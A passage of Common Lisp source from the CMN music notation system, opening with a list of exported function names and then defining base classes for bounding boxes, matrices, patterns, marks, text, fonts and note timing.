 IDENTIFY-BOX DISPLAY-CONNECTED-TEXT JUSTIFY-CONNECTED-TEXT CTX CTY
 TEXT-ALLOTMENT CONNECTED-UR-TEXT TEXT- CONNECTING-PATTERN-LEVEL -TEXT-
 -TEXT CONNECTING-PATTERN LYRIC-CENTER-JUSTIFIED LYRIC-VERSE
 LYRIC-LEFT-JUSTIFIED DISPLAY-GLISSANDO-TO GLISSANDO-TO PUSH-GLISSANDO
 BEGIN-GLISSANDO POP-GLISSANDO END-GLISSANDO-1 END-GLISSANDO
 BEGIN-PORTAMENTO END-PORTAMENTO ADD-GLISSANDO DISPLAY-CRESCENDO
 CRESCENDO PUSH-CRESCENDO PUSH-DIMINUENDO POP-CRESCENDO POP-DIMINUENDO
 BEGIN-CRESCENDO END-CRESCENDO BEGIN-DIMINUENDO END-DIMINUENDO
 DIMINUENDO FIND-TIME-LINE-POSITION-OF DISPLAY-ENDING FIRST-ENDING
 SECOND-ENDING END-PEND END-FIRST-ENDING BEGIN-FIRST-ENDING
 BEGIN-SECOND-ENDING END-SECOND-ENDING OTHER-ENDING USER-ADD-TO-TIES
 PUSH-TIE NEW-TIE TIE-TIE POP-TIE USER-ADD-TO-LEFT-TIES BEGIN-TIE
 USER-ADD-TO-RIGHT-TIES END-TIE FIND-TIE PREPARE-NOTE-TIE DISPLAY-TIE
 SOLVE-BEZIER RESOLVE-TIES MAP-OVER-STAVES TIEIFY-STAFF
 USER-ADD-TO-SLURS PUSH-SLUR NEW-SLUR SLUR-SLUR POP-SLUR
 USER-ADD-TO-LEFT-SLURS USER-ADD-TO-RIGHT-SLURS FIND-SLUR
 MAKE-AND-GET-READY-TO-DISPLAY-SLUR LOWEST-NOTES-SIGN HIGHEST-NOTES-SIGN
 STEM-HEADING UNDER-SLUR-Y OVER-SLUR-Y INFORM-SLUR NXY-SLOPE SET-UP-SLUR
 SLURIFY-OBJECT SLURIFY-STAFF PREPARE-SLUR MAKE-TWO-NOTE-SLUR BOIL-UNDER
 BOIL-OVER MAKE-THREE-NOTE-SLUR MAKE-FOUR-NOTE-SLUR USER-SET-TREMOLO
 UR-TREMOLO TREMOLO POP-TREMOLO PUSH-TREMOLO NEW-TREMOLO TREMOLO-TREMOLO
 USER-ADD-TO-LEFT-TREMOLOS USER-ADD-TO-RIGHT-TREMOLOS DRAW-BEAM
 BALANCED-NOTES LOTS-OF-LEGER-LINES DRAW-BEAMS ANNOTATE-BEAM
 ANNOTATE-BEAM-1 BEAM-ACROSS-LINE-BREAK BEAM-BETWEEN-STAVES FLATTEN
 LOCKED-STEM-DIRECTION STEM-DIRECTIONS-FIT ANALYZE-BEAM FUNCTION-P
 HANDLE-EXPLICIT-BEAMS COLLECT-AND-ANNOTATE-BEAMS IDENTIFY-SLUR
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 UNCOVER-LINE-OR-PAGE-MEASURE-NUMBERS GET-BACK-STAFF-CLEF FIXUP-LINE
 CHECK-IF-NOTES-COLLIDE FIXUP-GRACE-NOTE-LINE FRACTIONAL-PART
 FILL-OUT-BEAT FILL-OUT-MEASURE FLEQ FEQ FILL-OUT-MEASURES
 SET-OCTAVE-SIGN CHECK-NOTE-FOR-NEEDED-NATURAL
 CHECK-CHORD-FOR-NEEDED-NATURALS SCORE-ENGORGE FIND-OR-INSERT-CLEF
 SET-ODB INSERT-BARS-TIES-AND-RESTS SET-CLEF-Y0-AND-LINES
 INSERT-OCTAVE-SIGNS INSERT-NATURALS INSERT-MEASURE-NUMBERS
 HANDLE-HIDDEN-SECTIONS WALL-LEFT-SPACE WALL-RIGHT-SPACE
 FENCE-LEFT-SPACE FENCE-RIGHT-SPACE EXPAND-LEFT-SPACE EXPAND-RIGHT-SPACE
 SCALE-TLD SURVEY MINIMUM-SPACE MAKE-RIGHT-BAR TOTAL-UP-X-AND-FX
 AMALGAMATE-LINE-DATA LINIFY-WITH-ADDED-BREAKS
 LINIFY-WITHOUT-ADDED-BREAKS SET-UP-LINE-LIST ACTIVE-TIME ACTIVE-STAFF
 ACTIVE-STAVES ACTIVE-SYSTEMS SET-UP-STAFF-TIMES CURRENT-LINE-FIXUP
 LINE-HEIGHT EFFECTIVE-LENGTH ROOM-FOR-STAFF-NAME RX-LENGTH BRACKET-ALSO
 FIND-TIME-LINE-POSITION-OF CHECK-FOR-NAME FIND-LINE-INTERSECTION
 FOUND-STAFF-NAME LAYOUT-LINE LINE-PER-PAGE-FIXUP
 MAXIMUM-STAFF-NAME-ROOM FIXUP-BRACKETS-AND-BRACES NEW-STAFF
 COMPACTIFY-FIRST-ONSET REGULARIZE-TIME-LINE LINE-DATA-X RX-SPACE
 CHECK-STAFF-LIMITS PAGED-FILE-NAMES DISPLAY-PAGE-NUMBER PAGED-FILE-NAME
 EJECT-PAGE ONE-PAGE DRAWIFY TEXT-OF
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 LOCAL-HOW-MANY-DOTS FLATTENIZE GET-TIES FIXUP-TIED-RHYTHMS POW2-P
 TRANSLATE-SUBDIVISION GET-STRUCT-POSITION MASSAGE-RHYS COUNT-NOTES GBD
 LOCAL-RQ GET-EXPLICIT-BEAMS GET-MAX-DEPTH GET-SUBDIVS
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 INVISIBLE-SPACER
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 DISPLAY-NAIL-PIZZICATO DISPLAY-MARTELLATO DISPLAY-HAUPTSTIMME
 DISPLAY-NEBENSTIMME DISPLAY-NO-ACCENT DISPLAY-DOINK DISPLAY-RIP
 DISPLAY-SMEAR SPRECHSTIMME CIRCLED-STEM DISPLAY-ORGAN-HEEL
 DISPLAY-ORGAN-TOE DISPLAY-VIBRATO DISPLAY-INVERTED-TURN
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 BASIC-PEDAL BASIC-PEDAL- -BASIC-PEDAL- -BASIC-PEDAL UR-PEDAL- PEDAL-
 -UR-PEDAL- -PEDAL- -UR-PEDAL -PEDAL UR-SOST.PED- SOST.PED-
 -UR-SOST.PED- -SOST.PED- -UR-SOST.PED -SOST.PED DISPLAY-SOST.PED
 UR-U.C.PED- U.C.PED- -UR-U.C.PED- -U.C.PED- -UR-U.C.PED -U.C.PED
 DISPLAY-U.C.PED PEDAL-RESTART DISPLAY-ONE-HALF DISPLAY-ANY-PEDAL
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 DISPLAY-CYMBAL DISPLAY-GONG DISPLAY-MARACAS DISPLAY-TAMBOURINE
 DISPLAY-SUSPENDED-CYMBAL DISPLAY-HI-HAT DISPLAY-TRIANGLE
 DISPLAY-COW-BELLS DISPLAY-BASS-DRUM DISPLAY-HARD-STICK
 DISPLAY-SOFT-STICK DISPLAY-METAL-STICK DISPLAY-RUBBER-STICK
 DISPLAY-WOOD-STICK DISPLAY-WIRE-BRUSH DISPLAY-TRIANGLE-STICK
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 DOTTED-P FILLED-BEZIER DISPLAY-RING- DISPLAY--RING UR-RING
 DISPLAY--RING-
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 UPDATE-NOTE UPDATE-KEY KEY-MODE
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 DRAW-NATURAL-UP DRAW-NATURAL-DOWN DRAW-FLAT-WITH-DROPOUT
 DRAW-FLAT-WITH-FLAG DRAW-FLAT-REVERSED DRAW-SHARP-HORIZONTAL-MARKS
 DRAW-SHARP-WITH-RIGHT-VERTICAL DRAW-SHARP-WITH-LEFT-VERTICAL
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;;; -*- syntax: common-lisp; package: cmn; base: 10; mode: lisp -*-
;;;

(in-package :cmn)

(defvar *cmn-default-font* (list "Times-Roman" "Times-Italic" "Times-Bold" "Times-BoldItalic"))
;;; this sets all the fallback font names
(defun normal-font () (first *cmn-default-font*))
(defun italic-font () (second *cmn-default-font*))
(defun bold-font () (third *cmn-default-font*))
(defun bold-italic-font () (fourth *cmn-default-font*))
(defvar *cmn-default-font-size* 1.0)


;;; as a convenience for callers of clm, we like to package up all the information about
;;; an entity within the parentheses of that entity -- that is:
;;;    (c4 q staccato (onset 1.5))
;;; which requires that the "onset" function pass its argument on to the "c4" function.
;;; In normal CLOS syntax this would be (setf (onset (c4 q staccato)) 1.5) or something,
;;; and the real entity rapidly gets swallowed up in onion-like layers of setfs with the
;;; associated setf-d data further and further from the field it is setting.  The
;;; functions that act like "onset" above return a "self-acting" instance and the
;;; "self-action" macro wraps up the rest.

(defparameter prewhitespace "                    ")


(defclass self-acting ()
  ((action :initarg :action :initform nil :accessor action)
   (argument :initarg :argument :initform nil :accessor argument)))
  
(defun make-self-acting (&key action argument) (make-instance 'self-acting :action action :argument argument))
(defmethod self-acting-p ((obj self-acting)) t)
(defmethod self-acting-p ((obj t)) nil)

(eval-when (compile load eval)
  (defmacro deferred-action (name)
    `(defmethod ,name ((val t)) (make-self-acting :action #'(lambda (obj val1) (setf (,name obj) val1)) :argument val))))


;;;
;;; ----------------    main methods
;;;

(defgeneric copy (read-object &optional write-object))
(defgeneric descry (object &optional stream controller))
(defgeneric display (object container score &optional justifying))
(defgeneric house (object score))
(defgeneric notify (controller &optional objects))
(defgeneric identify (object))

;;; these are the primary generic functions that every score object responds to
;;; copy returns a copy (unwrite-protected) of its argument (at top level)
;;; descry is our describe method intended for debugging (would be nice if lisp's describe were specializable)
;;; display displays an object
;;; house puts the three layers of white space boxes around an object (during justification)
;;; notify is the syntax checker -- it reads all the arguments collected into an object and regularizes everything
;;; identify is used by the error reporting mechanism to try to give an understandable reference to the current object

(defmethod descry (anything &optional stream controller)
  (declare (ignore controller))
  (format stream " ~A" anything))

(defmethod identify (anything)
  anything)



;;;
;;; ----------------    read-only structures
;;;
;;; our basic score syntax includes such things as (cmn staff treble c4 q) and we have
;;; to make sure we never write the fields of the "staff" or "treble" (etc) variables
;;; so all such special variables are "write-protected".
;;;
;;; This is actually a kludge to get around a PCL bug that (defconstant hi (make-instance...))
;;;   does not return a true constant (i.e. (constantp hi) is NIL) -- in ACL 4.1, and I assume
;;;   any "real" CLOS lisp, the write-protected class is unneeded, but at this point a rewrite
;;;   would be a big undertaking.

(defclass write-protect ()
  ())

;;; using typep as in:
;;;(defun write-protected (object) (typep object 'write-protect))
;;; is about 10 times slower than methods such as:

(defmethod write-protected ((obj t)) nil)
(defmethod write-protected ((obj write-protect)) t)



;;;
;;; ----------------    bounds (the "bounding-box")
;;;
;;; x0 y0 is lower left corner, normally -- some objects slop over one way or the other

(defclass box-mixin ()
  ((x0 :initarg :x0 :initform 0 :reader x0 :reader box-x0 :type number)
   (y0 :initarg :y0 :initform 0 :reader y0 :reader box-y0 :type number)
   (x1 :initarg :x1 :initform 0 :reader x1 :reader box-x1 :type number)
   (y1 :initarg :y1 :initform 0 :reader y1 :reader box-y1 :type number)))

(defclass box (box-mixin)
  ((x0 :accessor x0 :accessor box-x0 :type number)
   (y0 :accessor y0 :accessor box-y0 :type number)
   (x1 :accessor x1 :accessor box-x1 :type number)
   (y1 :accessor y1 :accessor box-y1 :type number)))

(defmethod box-p ((obj t)) nil)
(defmethod box-p ((obj box-mixin)) t)

(defun copy-bounding-box (obj1 obj2)
  (setf (box-x0 obj2) (box-x0 obj1))
  (setf (box-x1 obj2) (box-x1 obj1))
  (setf (box-y0 obj2) (box-y0 obj1))
  (setf (box-y1 obj2) (box-y1 obj1)))

(defmethod copy ((box box-mixin) &optional object)
  (let ((new-box (if (not object) (make-instance 'box)
		   (if (write-protected object) (copy object)
		     object))))
    (setf (box-x0 new-box) (box-x0 box))
    (setf (box-y0 new-box) (box-y0 box))
    (setf (box-x1 new-box) (box-x1 box))
    (setf (box-y1 new-box) (box-y1 box))
    (if (next-method-p) (call-next-method box new-box))
    new-box))

(defmethod descry ((box box-mixin) &optional stream controller)
  (format stream "~A :x0 ~A :y0 ~A :x1 ~A :y1 ~A~A~A"
	  (if (not controller) "(box" "")
	  (not-rational (x0 box))
	  (not-rational (y0 box))
	  (not-rational (x1 box))
	  (not-rational (y1 box))
	  (if (next-method-p) (call-next-method box stream (or controller box)) "")
	  (if (not controller) ")" "")))

(defmacro with-position (obj x0 y0 &body body)
  `(let ((old_x0 (box-x0 ,obj))
	 (old_y0 (box-y0 ,obj)))
     (if (not (numberp ,x0)) (warn "weird argument to with-position: x0: ~A of ~A " ,x0 ,obj))
     (if (write-protected ,obj) (warn "write-protected ~A passed to with-position" ,obj))
     (setf (box-x0 ,obj) ,x0)
     (setf (box-y0 ,obj) ,y0)
     ,@body
     (setf (box-x0 ,obj) old_x0)
     (setf (box-y0 ,obj) old_y0)))


(defmethod width ((box box-mixin))
  (- (box-x1 box) (box-x0 box)))



;;; 
;;; ---------------     patterns and coordinate transformations
;;;

(defclass matrix-mixin ()
  ((matrix :initarg :matrix 
	   :initform nil
	   :reader matrix)))

(defclass matrix (matrix-mixin)
  ((matrix :accessor matrix)))

(defmethod matrix-p ((obj t)) nil)
(defmethod matrix-p ((obj matrix-mixin)) t)
(defun make-matrix () (make-instance 'matrix)) ;backwards compatibility

(defmethod copy ((matrix matrix-mixin) &optional object)
  (let ((new-matrix (if (not object) (make-instance 'matrix)
		      (if (write-protected object) (copy object)
			object))))
    (if (matrix matrix) (setf (matrix new-matrix) (copy-list (matrix matrix))))
    (if (next-method-p) (call-next-method matrix new-matrix))
    new-matrix))

(defun identity-matrix-p (object)
  (let ((mat (matrix object)))
    (or (not mat)
	(and (= (first mat) 1)
	     (= (second mat) 0)
	     (= (third mat) 0)
	     (= (fourth mat) 1)))))

(defun invisible-p (object)
  (let ((mat (matrix object)))
    (and mat
	 (= (first mat) 0)
	 (= (second mat) 0)
	 (= (third mat) 0)
	 (= (fourth mat) 0))))

(defun invisible-matrix (mat)
  (and mat
       (= (first mat) 0)
       (= (second mat) 0)
       (= (third mat) 0)
       (= (fourth mat) 0)))

(defun translate-matrix (score object x0 y0 &optional (scale 1.0))
  (let ((base (if object (copy-list (matrix object)) (list 1 0 0 1 0 0))))
    (if base 
	(progn
	  (setf (first base) (* scale (first base)))
	  (setf (fourth base) (* scale (fourth base)))
	  (setf (fifth base) (* (scr-size score) x0))
	  (setf (sixth base) (* (scr-size score) y0))
	  base)
      (list scale 0 0 scale (* (scr-size score) x0) (* (scr-size score) y0)))))

(defmethod descry ((matrix matrix-mixin) &optional stream controller)
  (format stream "~A~A~A~A"
	  (if (not controller) "(matrix" 
	    (if (not (identity-matrix-p matrix))
		(format nil "~%~A" prewhitespace)
	      ""))
	  (if (not (identity-matrix-p matrix))
	      (format nil " :matrix '~A"
		      (map 'list #'not-rational (matrix matrix)))
	    "")
	  (if (next-method-p) (call-next-method matrix stream (or controller matrix)) "")
	  (if (not controller) ")" "")))

(defun identify-matrix (object)
  (if (not (identity-matrix-p object))
      (if (invisible-p object)
	  " (scale 0 0)"
	(if (equal (matrix object) '(-1 0 0 1 0 0))
	    " mirrored"
	  (if (let ((mobj (matrix object)))
		(and (zerop (second mobj)) (zerop (third mobj)) (zerop (fifth mobj)) (zerop (sixth mobj))))
	      (format nil " (scale ~,3F ~,3F)" (first (matrix object)) (fourth (matrix object)))
	    (format nil " (matrix '~A)" (map 'list #'not-rational (matrix object))))))
    ""))


(defun rotate (angle)
  (make-self-acting :action #'(lambda (obj angle)
				(setf (matrix obj) (rotate-matrix (or (matrix obj) (list 1 0 0 1 0 0)) angle))
				obj)
		    :argument angle))

(defun scale (xscl yscl)
  (make-self-acting :action #'(lambda (obj scls)
				(setf (matrix obj) (scale-matrix (or (matrix obj) (list 1 0 0 1 0 0)) (first scls) (second scls)))
				obj)
		    :argument (list xscl yscl)))
				
(defun mirror ()
  (make-self-acting :action #'(lambda (obj ignored)
				(declare (ignore ignored))
				(setf (matrix obj) (mirror-matrix (or (matrix obj) (list 1 0 0 1 0 0))))
				obj)
		    :argument nil))

(defvar mirrored 
  (make-self-acting :action #'(lambda (obj ignored)
				(declare (ignore ignored))
				(setf (matrix obj) (mirror-matrix (or (matrix obj) (list 1 0 0 1 0 0))))
				obj)
		    :argument nil))
				   

(defun transform (matr)
  (make-self-acting :action #'(lambda (obj matr)
				(setf (matrix obj) (truncated-matrix-multiply (or (matrix obj) (list 1 0 0 1 0 0)) matr))
				obj)
		    :argument matr))

(defun invisible () 
  (make-self-acting :action #'(lambda (obj ignored) 
				(declare (ignore ignored)) 
				(setf (matrix obj) (list 0 0 0 0 0 0)) obj) 
		    :argument nil))

(defvar invisible 
    (make-self-acting :action #'(lambda (obj ignored) 
				  (declare (ignore ignored))
				  (setf (matrix obj) (list 0 0 0 0 0 0)) obj) 
		      :argument nil))



(defclass pattern-mixin ()
  ((pattern-type :initarg :pattern-type :initform nil :reader pattern-type)
   (pattern-data :initarg :pattern-data :initform nil :reader pattern-data)
   (color :initarg :color :initform nil :reader color)))

(defclass pattern (pattern-mixin)
  ((pattern-type :accessor pattern :accessor pattern-type)
   (pattern-data :accessor pattern-data)
   (color :accessor color)))

(defmethod copy ((pattern pattern-mixin) &optional object)
  (let ((new-pattern (if (not object) (make-instance 'pattern)
		       (if (write-protected object) (copy object)
			 object))))
    (setf (pattern-type new-pattern) (pattern-type pattern))
    (setf (pattern-data new-pattern) (pattern-data pattern))
    (setf (color new-pattern) (color pattern))
    (if (next-method-p) (call-next-method pattern new-pattern))
    new-pattern))

(defmethod descry ((pattern pattern-mixin) &optional stream controller)
  (format stream "~A~A~A~A~A~A"
	  (if (not controller) "(pattern" 
	    (if (pattern-type pattern) (format nil "~%~A" prewhitespace)
	      ""))
	  (if (pattern-type pattern)
	      (format nil " :type ~A" (pattern-type pattern))
	    "")
	  (if (pattern-data pattern)
	      (format nil " :data ~A" (pattern-data pattern))
	    "")
	  (if (color pattern)
	      (format nil " :color ~A" (color pattern))
	    "")
	  (if (next-method-p) (call-next-method pattern stream (or controller pattern)) "")
	  (if (not controller) ")" "")))



(defclass write-protected-marks-mixin ()
  ((marks :initarg :marks :initform nil :reader marks)))

(defclass marks-mixin (write-protected-marks-mixin)
  ((marks :accessor marks)))

(defmethod marks-p ((obj t)) nil)
(defmethod marks-p ((obj marks-mixin)) t)

(defmethod descry ((vis write-protected-marks-mixin) &optional stream controller)
  (format stream "~A~A"
	  (if (marks vis) 
	      (format stream "~%~A :marks (list~{ ~A~})"
		      prewhitespace
		      (loop for mark in (marks vis) collect (descry mark stream nil)))
	    "")
	  (if (next-method-p) (call-next-method vis stream (or controller vis)) "")))

(defmethod copy ((vis write-protected-marks-mixin) &optional object)
  (let ((new-vis (if (not object) (make-instance 'marks-mixin)
		   (if (write-protected object) (copy object)
		     object))))
    (if (marks vis) (setf (marks new-vis) (loop for mark in (marks vis) collect (copy mark))))
    (if (next-method-p) (call-next-method vis new-vis))
    new-vis))

(defun display-marks (object score &optional justifying)
  (if (marks object) 
      (loop for mark in (marks object) do 
	(if (or (not (sundry-p mark))
		(not (eq (sundry-name mark) :slur)))
	    (display mark object score justifying)))))

(defmethod add-to-marks ((anything write-protected-marks-mixin) objects) 
  (setf (marks anything) (append (marks anything) objects)))

(defun edit-mark (anything mark-identifier mark-editor)
  (loop for m in (marks anything) do
    (if (funcall mark-identifier m anything)
	(funcall mark-editor m anything))))

(defun identify-marks (object &optional file)
  (if (marks object)
      (format file "~{ ~A~}" 
	      (loop for mark in (marks object)
	       collect (identify mark)))
    ""))




(defclass visible-mixin (write-protected-marks-mixin box-mixin pattern-mixin matrix-mixin)
  ((justification :initform nil :initarg :justification :reader visible-justification)
   (visible-section :initform nil :initarg :visible-section :reader visible-section)
   (dx :initarg :dx :initform 0 :reader dx :reader vis-dx)
   (dy :initarg :dy :initform 0 :reader dy :reader vis-dy)
   (center :initarg :center :initform 0 :reader center)
   (walls :initarg :walls :initform nil :reader walls)
   (fences :initarg :fences :initform nil :reader fences)
   (expanders :initform nil :initarg :expanders :reader expanders)))

(defclass visible (visible-mixin marks-mixin box pattern matrix)
  ((justification :accessor visible-justification :accessor justification)
   (visible-section :accessor visible-section)
   (dx :accessor dx :accessor vis-dx)
   (dy :accessor dy :accessor vis-dy)
   (center :accessor center)
   (walls :accessor walls)
   (fences :accessor fences)
   (expanders :accessor expanders)))

(defmethod visible-p ((obj t)) nil)
(defmethod visible-p ((obj visible-mixin)) t)

(defmethod descry ((vis visible-mixin) &optional stream controller)
  (format stream "~A~A~A~A~A~A~A~A~A"
	  (if (visible-justification vis) 
	      (format stream " :justification :~(~A~)" (visible-justification vis))
	    "")
 	  (if (visible-section vis) 
 	      (format stream " :section ~A" (visible-section vis))
 	    "")
	  (if (not (zerop (dx vis))) (format nil " :dx ~,3F" (dx vis)) "")
	  (if (dy vis)
	      (if (listp (dy vis))
		  (format nil " :dy '~A " (dy vis))
		(if (not (zerop (dy vis))) 
		    (format nil " :dy ~,3F" (dy vis)) 
		  ""))
	    "")
	  (if (and (center vis) (not (zerop (center vis)))) (format nil " :center ~A" (center vis)) "")
	  (if (walls vis) (format nil " :walls '~A" (walls vis)) "")
	  (if (fences vis) (format nil " :fences '~A" (fences vis)) "")
	  (if (expanders vis) (format nil " :expanders '~A" (expanders vis)) "")
	  (if (next-method-p) (call-next-method vis stream (or controller vis)) "")))

(defmethod copy ((vis visible-mixin) &optional object)
  (let ((new-vis (if (not object) 
		     (cmn-error "attempt to copy a bare instance of the visible-mixin class")
		   (if (write-protected object) (copy object)
		     object))))
    (setf (visible-justification new-vis) (visible-justification vis) )
    (setf (visible-section new-vis) (visible-section vis))
    (setf (vis-dx new-vis) (vis-dx vis))
    (setf (vis-dy new-vis) (vis-dy vis))
    (setf (center new-vis) (center vis))
    (setf (walls new-vis) (copy-list (walls vis)))
    (setf (fences new-vis) (copy-list (fences vis)))
    (setf (expanders new-vis) (copy-list (expanders vis)))
    (if (next-method-p) (call-next-method vis new-vis))
    new-vis))

(defun identify-visible (object &optional file)
  (if (or (not (zerop (dx object)))
	  (not (zerop (dy object))))
      (format file "~A~A" 
	      (if (not (zerop (dx object))) (format nil " (dx ~,3F)" (dx object)) "")
	      (if (not (zerop (dy object))) (format nil " (dy ~,3F)" (dy object)) ""))
    ""))

(defun layout (val)
  (make-self-acting :argument val :action #'(lambda (obj arg) (setf (visible-justification obj) arg))))


(defclass font-mixin ()
  ((font-size :initarg :font-size :initform nil :accessor font-size)
   (font-name :initarg :font-name :initform nil :accessor font-name)
   (font-scaler :initarg :font-scaler :initform 1.0 :accessor font-scaler)))

(defmethod descry ((fnt font-mixin) &optional stream controller)
  (format stream "~A~A~A~A~A~A"
	  (if (not controller) "(font" "")
	  (if (font-name fnt) (format nil " :font-name ~A" (font-name fnt)) "")
	  (if (font-size fnt) (format nil " :font-size ~A" (font-size fnt)) "")
	  (if (/= (font-scaler fnt) 1.0) (format nil " :font-scaler ~A" (font-scaler fnt)) "")
	  (if (next-method-p) (call-next-method fnt stream (or controller fnt)) "")
	  (if (not controller) ")" "")))

(defmethod copy ((fnt font-mixin) &optional object)
  (let ((new-fnt (if (not object) (make-instance 'font-mixin)
		   (if (write-protected object) (copy object)
		     object))))
    (setf (font-size new-fnt) (font-size fnt))
    (setf (font-name new-fnt) (font-name fnt))
    (setf (font-scaler new-fnt) (font-scaler fnt))
    (if (next-method-p) (call-next-method fnt new-fnt))
    new-fnt))



(defclass text (font-mixin visible)
  ((letters :initarg :letters :initform nil :accessor letters)
   (y :initarg :y :initform nil :accessor y :accessor text-y)
   (x :initarg :x :initform nil :accessor x :accessor text-x)
   (style :initarg :text-style :initform nil :accessor text-style)
   (font-name :initform (normal-font))
   (justification :initform :none)))

(defmethod text-p ((obj t)) nil)
(defmethod text-p ((obj text)) t)

(defmethod descry ((text text) &optional stream controller)
  (format stream "~A~A~A~A"
	  (if (not controller) "(text" "")
	  (if (letters text) (format nil " :letters ~A" (letters text)) "")
	  (if (text-style text) (format nil " :text-style ~A" (text-style text)) "")
	  (if (next-method-p) (call-next-method text stream (or controller text)) "")
	  (if (not controller) ")" "")))

(defmethod copy ((text text) &optional object)
  (let ((new-text (if (not object) (make-instance 'text)
		    (if (write-protected object) (copy object)
		      object))))
    (setf (letters new-text) (letters text))
    (setf (text-style new-text) (text-style text))
    (setf (text-x new-text) (text-x text))
    (setf (text-y new-text) (text-y text))
    (if (next-method-p) (call-next-method text new-text))
    new-text))

(defun glyph (num)
  (make-self-acting :action #'(lambda (obj num)
				(setf (letters obj) (format nil "\\~O" num))
				obj)
		    :argument num))


(defun make-ISO-encoded-version (score font-name new-font-name)
  (g-send score (format nil
		     " /~A findfont
 dup length dict begin
   {1 index /FID ne {def} {pop pop} ifelse} forall
   /Encoding ISOLatin1Encoding def
   currentdict
 end
 /~A exch definefont pop
" 
		     font-name new-font-name)))



(deferred-action center)
(deferred-action fences)
(deferred-action walls)
(deferred-action expanders)
(deferred-action x0)
(deferred-action y0)
(deferred-action x1)
(deferred-action y1)
(deferred-action dx)
(deferred-action dy)
(deferred-action matrix)
(deferred-action pattern)
(deferred-action color)
(deferred-action font-name)
(deferred-action font-size)
(deferred-action font-scaler)

(defun underlined ()
  (make-self-acting
   :action #'(lambda (obj arg)
	       (declare (ignore arg))
	       (setf (text-style obj) :underlined))
   :argument nil))

(defvar underlined (underlined))

(defun gray-scale (&optional (n 0))
  (make-self-acting
   :action #'(lambda (obj arg)
	       (setf (color obj) (list arg arg arg)))
   :argument n))

(defun setf-gray-scale (obj n)
  (setf (color obj) (list n n n)))

(defsetf gray-scale setf-gray-scale)


(defun outlined (&optional (n 0))
  (make-self-acting
   :action #'(lambda (obj n)
	       (setf (pattern-type obj) :outlined)
	       (setf (pattern-data obj) n))
   :argument n))
  

;;;
;;; --------------    basic musical time fields (onset/duration/beat=>odb)
;;; 

(defclass odb-mixin ()
  ((onset :initarg :onset :initform nil :reader onset :reader odb-onset)
   (duration :initarg :duration :initform nil :reader duration :reader odb-duration)
   (beat :initarg :beat :initform nil :reader beat :reader odb-beat)))

(defclass odb (odb-mixin)
  ((onset :accessor onset :accessor odb-onset)
   (duration :accessor duration :accessor odb-duration)
   (beat :accessor beat :accessor odb-beat)))

(defmethod odb-p ((obj t)) nil)
(defmethod odb-p ((obj odb-mixin)) t)

(defmethod descry ((odb odb-mixin) &optional stream controller)
  (format stream "~A~A~A~A~A~A"
	  (if (not controller) "(odb" 
	    (if (or (onset odb) (duration odb) (beat odb))
		(format nil "~%~A" prewhitespace)
	      ""))
	  (if (onset odb) (format nil " :onset ~A" (onset odb)) "")
	  (if (duration odb) (format nil " :duration ~A" (duration odb)) "")
	  (if (beat odb) (format nil " :beat ~A" (beat odb)) "")
	  (if (next-method-p) (call-next-method odb stream (or controller odb)) "")
	  (if (not controller) ")" "")))

(defmethod copy ((odb odb-mixin) &optional object)
  (let ((new-object (if (not object) (make-instance 'odb) 
		      (if (write-protected object) (copy object)
			object))))
    (setf (odb-onset new-object) (odb-onset odb))
    (setf (odb-duration new-object) (odb-duration odb))
    (setf (odb-beat new-object) (odb-beat odb))
    (if (next-method-p) (call-next-method odb new-object))
    new-object))


(defmethod onset (val)
  (make-self-acting
   :argument val
   :action #'(lambda (obj arg)
	       (if (numberp arg)
		   (setf (onset obj) (fratify arg))
		 (setf (onset obj) arg)))))

(defmethod duration ((val number))
  (make-self-acting
   :argument val
   :action #'(lambda (obj arg)
	       (setf (duration obj) (fratify arg)))))

(defmethod beat ((val number))
  (make-self-acting
   :argument val
   :action #'(lambda (obj arg)
	       (setf (beat obj) (fratify arg)))))


(defclass staff-relative-mixin ()
  ((staff-y0 :initarg :staff-y0 :initform 0 :accessor staff-y0)))

(defmethod staff-relative-mixin-p ((obj t)) nil)
(defmethod staff-relative-mixin-p ((obj staff-relative-mixin)) t)

(defmethod descry ((stf-y0 staff-relative-mixin) &optional stream controller)
  (format stream "~A~A~A~A"
	  (if (not controller) "(staff-relative-mixin" "")
	  (format nil " :staff-y0 ~A" (staff-y0 stf-y0))
	  (if (next-method-p) (call-next-method stf-y0 stream (or controller stf-y0)) "")
	  (if (not controller) ")" "")))

(defmethod copy ((stf-y0 staff-relative-mixin) &optional object)
  (let ((new-stf (if (not object) (make-instance 'staff-relative-mixin)
		   (if (write-protected object) (copy object)
		     object))))
    (setf (staff-y0 new-stf) (staff-y0 stf-y0))
    (if (next-method-p) (call-next-method stf-y0 new-stf))
    new-stf))

(defmethod staff-y0 ((box box-mixin)) (box-y0 box))

(deferred-action staff-y0)


(defclass thick-mixin ()
  ((thickness :initarg :thickness :initform nil :reader thickness :reader cmn-thickness)))

(defclass thick (thick-mixin)
  ((thickness :accessor thickness)))

(defmethod descry ((thk thick-mixin) &optional stream controller)
  (format stream "~A~A"
	  (if (thickness thk) (format nil " :thickness ~A" (thickness thk)) "")
	  (if (next-method-p) (call-next-method thk stream (or controller thk)) "")))

(defmethod copy ((thk thick-mixin) &optional object)
  (setf (thickness object) (thickness thk))
  (if (next-method-p) (call-next-method thk object))
  object)

(deferred-action thickness)
    


(defclass breathing-space-mixin ()
  ((breathing-space :initarg :breathing-space :initform 0 :reader breathing-space)))

(defclass breathing-space ()
  ((breathing-space :initarg :breathing-space :initform 0 :accessor breathing-space)))

(defmethod descry ((thk breathing-space-mixin) &optional stream controller)
  (format stream "~A~A"
	  (if (not (zerop (breathing-space thk))) (format nil " :breathing-space ~1,3F" (breathing-space thk)) "")
	  (if (next-method-p) (call-next-method thk stream (or controller thk)) "")))

(defmethod copy ((thk breathing-space-mixin) &optional object)
  (setf (breathing-space object) (breathing-space thk))
  (if (next-method-p) (call-next-method thk object))
  object)

(deferred-action breathing-space)
    


(defclass score-object-mixin (odb-mixin visible-mixin)
  ((draw-func :initarg :draw-func :accessor draw-func :initform nil)
   (width :initarg :width :accessor width :accessor cmn-width :initform 0)))

(defmethod score-object-p ((obj t)) nil)
(defmethod score-object-p ((obj score-object-mixin)) t)

(defclass score-object (score-object-mixin odb visible)
  ())

;;; anything that the score needs to keep track of (during alignment for example) is a score-object
;;; each such object has a bounding box and a draw function

(defun object-address (object)
  #+mcl   (format nil " #x~x" (ccl:%address-of object))
  ;; can't use excl:pointer-to-fixnum because it is no longer defined in acl 5
  #+excl ""
  #+gcl   (format nil " #o~O" (si:address object))
  #+lucid (format nil " #o~O" (%pointer object))
  #+clisp (format nil " #o~O" (sys::address-of object))
  )

#-excl
